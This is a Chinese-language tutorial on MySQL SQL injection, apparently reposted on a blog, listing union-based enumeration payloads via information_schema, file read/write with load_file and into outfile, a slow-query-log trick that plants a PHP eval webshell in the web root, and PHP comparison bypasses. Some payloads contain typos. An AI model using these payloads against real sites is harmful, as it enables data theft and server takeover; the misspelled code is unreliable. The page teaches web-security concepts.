SQL注入 (一)

一、sql注入的简介

将一段内容传入到目标网站,这段内容会被当做程序来执行

二、MySQL扩展补充

mysql的结构

  • 表名
  • 字段
  • 数据

mysql的用户

  • 管理员:跨库、文件读写操作
  • 普通用户:猜解

判断目标网站的用户类别

  • 白盒:读代码
  • 黑盒:user()

使用mysql 5.0以上版本

mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema 5.0以上为多用户。information_schema下面又包含了这几张表:schemata、tables、columns。

表1:schemata:记录了系统中所有的库名,包含一个关键字段

  • schema_name:保存的库名
select schema_name from information_schema.schemata

表1:tables:记录了系统中所有的表名,包含两个关键字段

  • table_schema:保存的库名
  • table_name:保存的表名
select table_name from information_schema.tables where table_schema=xxxx

表二:columns:记录当前系统中的字段名,包含三个关键字段

  • table_schema:保存的库名
  • table_name:保存的表名
  • column_name:字段名
select column_name from information_schema.columns where table_schema=xxx and table_name=xxx

SQL注入的常用函数

  • user()                当前所使用的用户名
  • datebase()        当前所使用的库名
  • version              当前MySQL的版本

三、SQL注入的流程

3.1 简介

常用的注入方法:

  • 手工注入
  • sqlmap
  • python+sqlmap

3.2 sql注入的流程

1. 判断是否存在漏洞

思路:向网站传入一个代码,检查是否为被执行,能执行就说明存在漏洞

and 1=1

and 1=2

or 1=2

or 1=1

4-3

2. 判断目标网站的数据库中的表中有几个字段

order by 数字

3. 找到网页中回显位

链接查询:在一个sql语句中,从两个表查数据

联合查询:依次先后执行两个sql语句 - union

4. 找到数据库的库名

database()

5. 找到数据库的表名

id=1 union select 11,table_name form information_schema.tables where table_schema='db001' limit 5,1

6. 找到字段名

id=1 union select 11,column_name form information_schema.columns where table_name='users'  limit 3,1

7. 找数据

id=1 union select user form users limit 2,1

四、管理员身份注入

文件读写

跨库

文件读写

load_file("目标文件")                    //可以读取文件内容"
select "内容" into outfile "目标文件"    //可以向网站目录下的文件里写内容

读取文件结果可能是NULL的可能原因

当前用户的权限问题,需要具有file权限

文件路径错误

Windows: 注意C:\\a.txt
linux: /etc/d.txt

文件大小超过上限

max_allowed_packet

查看环境变量

show global variables     // 全局
show session variables    // 会话

设置环境变量

set global 变量名=值
set session 变量名=值

文件读写权限控制

secure_file_priv=null    不允许进行读写操作
secure_file_priv=路径    只允许在特定的目录下进行读写操作
secure_file_priv=' '     允许随意进行读写操作

真实环境中secure_file_priv 往往都是处于开启状态的,绕过的基本思路就是结合慢查询日志

启动慢查询日志

set global show_query_log=on;

设置查询日志的保存路径【需要将其设置为网站根目录】

set global slow_query_log_file='d:\\web1\a.php';

触发慢查询

select "<?php eval($_GET['p']);?>"  or sleep(10);

此时就可以去访问a.php了

获取网站根目录的途径

1. 触发网站报错提醒

2. 利用phpinfo(),参数是document_root

3.利用load_file(),读取网站的配置文件中的document_root

linux配置文件的路径相对固定:apache 的配置文件: /etc/httpd/conf/httpd.confnginx  的配置文件: /etc/nginx/nginx.conf也可能在其他位置apache 的配置文件: /usr/local/httpd/conf/httpd.confnginx  的配置文件: /usr/local/nginx/conf/nginx.conf使用apache部署的网站根目录: /var/www/html
使用nginx部署大的网站根目录: /usr/share/htmlmysql的配置文件: /etc/my.cnfnginx 定义网站根目录的关键字:root
apache 定义网站根目录的关键字:DocumentRoot

五、php的相关函数

5.1 php的等号

=                ==                 ===

5.2 md5绕过

可以传入两个md5加密后是0e开头的字符串,需要注意的是,这个以0e开头的字符串只能是纯数字,这样PHP在进行科学算法的时候才会将它转化为0;可以查找以0e开头的md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
常见的字符串有:byGcY、QNKCDZO、240610708、314282422

<?phpfor ($a=1;$a<=100000000;$a++){$md5=md5($a)if(preg_match('/^0e\d+$/',$md5)){// \d+ 表示一个或多个数字字符echo $a;echo "\n";echo $md5;echo "\n";}}
?>

5.3 intval

作用:进行数据类型转换成整数

返回结果:

  • 0:转换失败或者转换的对象是一个空数组
  • 1:对象是一个非空数组
  • 整数:成功

转换的目的:绕过输入限制,例如系统禁止输入6,那么就可以将6转换成二进制,八进制,十六进制

绕过的基本思路

当某个数字被过滤的时候,就可以将其转换为其他的进制格式的数字,例如过滤了10,可以将其转换为八进制

如果是弱比较,例如(3==b),系统禁止输入3

        可以写入3.1【小数】

        可以写3abc【字符串转数字绕过】

        可以写1+2  【运算绕过】

        可以写~~3  【连续两次取反】

数组绕过

        直接向网站传入数组元素,同时结合intval进行转换

案例:

var_dump(intval(012));
echo"<br>";
var_dump(intval(0xB));
echo"<br>";var_dump(intval(array()));
echo"<br>";
var_dump(intval(array('1111',22222)));
echo"<br>";var_dump(intval(1.2));
echo"<br>";
var_dump(intval("1.2"));
echo"<br>";var_dump(intval("abc123"));
echo"<br>";var_dump(intval("123abc"));
echo"<br>";var_dump(intval("012"));
echo"<br>";var_dump(intval(3+4));
var_dump(intval(3*4));
var_dump(intval(03+4));
var_dump(intval(03*4));
echo"<br>";

各种进制的开头

十进制:
二进制:0b  0B
八进制:0   0O  0o
十六进制:0x   0X

二进制binary

八进制octal

十进制decimal

十六进制hexadecimal

5.4 strpos

在指定的字符串中,定位特定的字符程序的位置

位置从0开始

返回结果:

  • 目标字符的索引值
  • Flash

5.5 is_array()

作用:在数组中搜索指定的值

安全隐患/绕过思路

检查是否有第三个参数,true

5.6 perg_match

返回值

0、1 匹配次数

false发生错误

绕过思路

%0a、大小写、数组

3.7 str_replace

返回结果是替换了目标内容后的结果字符串

绕过思路

大小写绕过
写绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/778972.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

happybase基本操作方法

一、准备工作 &#xff08;1&#xff09;windows下安装happybase库&#xff1a; pip install happybase -i https://pypi.tuna.tsinghua.edu.cn/simple &#xff08;2&#xff09;确保HDFS、Hbase、Zookeeper服务正常运行&#xff1a; 启动HDFS命令&#xff1a;start-dfs.sh…

【数据结构 | 图论】如何用链式前向星存图(保姆级教程,详细图解+完整代码)

一、概述 链式前向星是一种用于存储图的数据结构&#xff0c;特别适合于存储稀疏图&#xff0c;它可以有效地存储图的边和节点信息&#xff0c;以及边的权重。 它的主要思想是将每个节点的所有出边存储在一起&#xff0c;通过数组的方式连接&#xff08;类似静态数组实现链表…

多线程实现Scheduler定时任务

在Spring框架中&#xff0c;Scheduled注解用于标记一个方法作为定时任务&#xff0c;它使用cron表达式来定义任务的执行频率。对于cron表达式定义的定时任务&#xff0c;如果上一个任务的执行还没有完成&#xff0c;下一个任务的执行行为取决于你使用的调度器&#xff08;sched…

C语言多服务器多播组网框架

使用技术: UDP ipv4 禁止本地回环 允许端口复用 超时等待 限制跳点 Echo 功能描述: 任意endpoint可主动发送多播,也可以收到信息后自动多播 前期准备: 开启操作系统多播广播功能,关闭系统防火墙,使用物理路由还需在路由开启广播多播功能 发送端和接收端运行不分先后 可无…

慧天【HTWATER】:水文水动力模型的革命性工具,城市内涝的精准解决方案

城市内涝水文水动力模型介绍 在城市排水防涝规划过程中&#xff0c;水文水动力耦合模型已经成为一种不可或缺的分析工具。在模型建立、城市内涝风险评估、排水系统性能诊断以及海绵城市规划等方面&#xff0c;内涝耦合模型提供了相应的模拟及分析工具&#xff1a; 1.1丰富的数…

Coding构建SSh登录教程

SSH 命令行 (Jenkins 原生) 持续集成中的 SSH 命令行插件通常用于授权构建机登录云服务器执行相应的命令与任务。通过 SSH 命令行插件&#xff0c;构建机可以针对云服务器执行以下操作&#xff1a; 将构建机上的文件推送到云主机&#xff1b; 将云主机上的文件拉取至构建机上&…

前端学习<二>CSS基础——09-CSS案例讲解:博雅互动

前言 CSS已经学了一些基础内容了&#xff0c;我们来讲解一个小案例吧。以博雅互动的官网首页举例。 版心 首页的版心如下&#xff1a; 这里我们要普及一个概念&#xff0c;叫“版心”。版心是页面中主要内容所在的区域。 比如说&#xff0c;网站左上角的logo&#xff0c;设计…

Flutter 开发学习笔记(0):环境配置

文章目录 前言开发需求环境配置运行出现问题我运行也是解决了很久的问题镜像源设置为清华的镜像源&#xff08;不知道有没有影响&#xff09;使用JDK21&#xff0c;JDK版本不能低于JDK11手动下载flutter 对应的gradle 运行成功&#xff01; 前言 我最近一直在用Uniapp写代码&a…

vmware,linux,centos7,NAT模式下的网络配置

centos7的NAT网络配置 NAT模式说明虚拟机网络配置工具本机配置net8网络&#xff08;NAT的网域&#xff09;本机的IP配置(用于net8局域网内解析主机IP和域名对应关系使用)&#xff08;可选&#xff09;虚拟机内的网络配置虚拟机ping不通www.baidu.com的情况下虚拟机ping可以ping…

ESP32 433mhz

从抖音抄了一大神的Arduino代码 # include <RCwitch.h> ///调用RC开关函数库 RCSwitch mySwitch RCSwitch(); //增加一个RC开关并设置名称 const int FRR 15; / 设置315MHz 无限模块的接受管脚 void setup(){Serial.begin(115200); //打开串口i设置波特率115200mySw…

ARM64架构栈帧以及帧指针FP

文章目录 前言一、arm64架构寄存器简介1.1 异常等级1.2 通用寄存器1.3 ARM64架构ABI 二、ARM64架构函数调用标准2.1 AArch64过程调用标准简介2.2 通用寄存器中的参数 三、demo分析3.1 main函数3.2 funb3.3 funa 四、栈帧总结五、demo演示参考资料 前言 这篇文章描述了 x86_64架…

智过网:一建36岁好不好找工作?能干什么?

在职业发展的道路上&#xff0c;许多人在不同的年龄阶段都会面临不同的挑战和机遇。对于36岁这一年龄阶段的人来说&#xff0c;如果已经通过了国家一级建造师&#xff08;一建&#xff09;的考试&#xff0c;那么他们在找工作方面会有怎样的前景呢&#xff1f;又能从事哪些职业…

气象预测新篇章:Python人工智能的变革力量

Python是功能强大、免费、开源&#xff0c;实现面向对象的编程语言&#xff0c;在数据处理、科学计算、数学建模、数据挖掘和数据可视化方面具备优异的性能&#xff0c;这些优势使得Python在气象、海洋、地理、气候、水文和生态等地学领域的科研和工程项目中得到广泛应用。可以…

C#程序结构详解

目录 背景: 一、C#程序的基本组成部分 二、C# Hello World示例 三、程序结构解析 四、编译与执行C#程序 五、总结 背景: 在学习C#编程语言的过程中&#xff0c;了解程序的基本结构是非常重要的。C#程序由多个组成部分构成&#xff0c;每个部分都有其特定的功能和作用。下面…

20.变量的使用方式和注意事项

文章目录 一、变量的用法二、变量的注意事项三、总结 一、变量的用法 代码示例 public static void main(String[] args) {//1.基本用法// 定义变量&#xff0c;再进行输出int a 10;System.out.println(a);// 10System.out.println(a);// 10//2.变量参与计算int b 30;int c …

代码随想录学习Day 21

回溯算法理论基础 回溯法又叫回溯搜索法。回溯是递归的副产品&#xff0c;有递归就会有回溯&#xff0c;回溯操作一般出现在递归函数的下面。回溯函数 递归函数。回溯法的本质是穷举。 回溯法解决的问题&#xff1a; 组合问题&#xff1a;N个数里面按一定规则找出k个数的集…

【超图 SuperMap3D】【基础API使用示例】51、超图SuperMap3D - 绘制圆|椭圆形面标注并将视角定位过去

前言 引擎下载地址&#xff1a;[添加链接描述](http://support.supermap.com.cn/DownloadCenter/DownloadPage.aspx?id2524) 绘制圆形或者椭圆形效果 核心代码 entity viewer.entities.add({// 圆中心点position: { x: -1405746.5243351874, y: 4988274.8462937465, z: 370…

小狐狸JSON-RPC:钱包连接,断开连接,监听地址改变

detect-metamask 创建连接&#xff0c;并监听钱包切换 一、连接钱包&#xff0c;切换地址&#xff08;监听地址切换&#xff09;&#xff0c;断开连接 使用npm安装 metamask/detect-provider在您的项目目录中&#xff1a; npm i metamask/detect-providerimport detectEthereu…

vue2的孙子传值给爷爷,爷爷传值给孙子

孙---->爷 在爷爷组件&#xff0c;给父亲组件绑定一个方法 定义一个方法用来接受传来的值 在父亲组件中 给孙子组件绑定v-on“$listeners” 在孙子组件 在特定掉件触发下&#xff0c;将值穿过去&#xff0c;注意&#xff1a;这里的this.$emit的名字要跟爷爷绑定的一…

R语言赋值符号<-、=、->、<<-、->>的使用与区别

R语言的赋值符号有&#xff1c;-、、-&#xff1e;、&#xff1c;&#xff1c;-、-&#xff1e;&#xff1e;六种&#xff0c;它们的使用与区别如下: <-’&#xff1a;最常用的赋值符号。它将右侧表达式的值赋给左侧的变量&#xff0c;像一个向左的箭头。例如&#xff0c;x …